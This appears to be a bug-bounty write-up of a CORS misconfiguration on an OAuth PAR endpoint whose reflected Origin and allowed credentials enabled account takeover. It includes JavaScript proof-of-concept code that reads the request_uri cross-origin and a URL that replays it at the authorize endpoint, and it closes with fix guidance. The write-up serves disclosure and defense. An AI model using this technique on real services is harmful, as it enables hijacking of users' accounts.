Account Takeover via CORS Misconfiguration on an OAuth PAR Endpoint
Type: CORS misconfiguration → Account Takeover · Severity: Critical · Reported to a private bug-bounty program via HackerOne.
Target details are redacted per coordinated-disclosure rules. Testing was performed strictly under the program's scope and safe-harbor terms. This write-up covers the vulnerability class only.
The flaw
An authentication gateway's Pushed Authorization Request endpoint (POST /auth-flow/par) reflected an arbitrary Origin request header straight into Access-Control-Allow-Origin and set Access-Control-Allow-Credentials: true. That combination defeats the Same-Origin Policy: any site can make authenticated cross-origin requests and read the response.
Exploitation → full ATO
- The victim has an active authenticated session on the application.
- The attacker hosts a page that fires a credentialed cross-origin
POSTto the PAR endpoint:
var req = new XMLHttpRequest();
req.open("POST", "https://auth.example.tld/auth-flow/par", true);
req.withCredentials = true; // send victim cookies
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.onreadystatechange = function () {
if (req.readyState === 4) {
// SOP bypassed — attacker reads the response cross-origin
document.getElementById("output").innerText = req.responseText;
}
};
req.send("response_type=code&scope=openid&code_challenge=...&client_id=...&redirect_uri=...");- Because ACAO reflects the attacker origin and credentials are allowed, the browser hands attacker JavaScript the response — which contains the OAuth request_uri (the PAR URN).
- The attacker replays that URN at the authorize endpoint:
https://auth.example.tld/auth-flow/authorize?client_id=...&request_uri=<STOLEN_URN>and is logged in as the victim.
Impact
Complete Account Takeover — access to the victim's dashboards, sensitive data, and the ability to authorize actions on their behalf.
Fix
Never reflect Origin into Access-Control-Allow-Origin. Use a strict allowlist of trusted first-party origins, and do not combine wildcard/reflected origins with Access-Control-Allow-Credentials: true. PAR responses must not be readable cross-origin.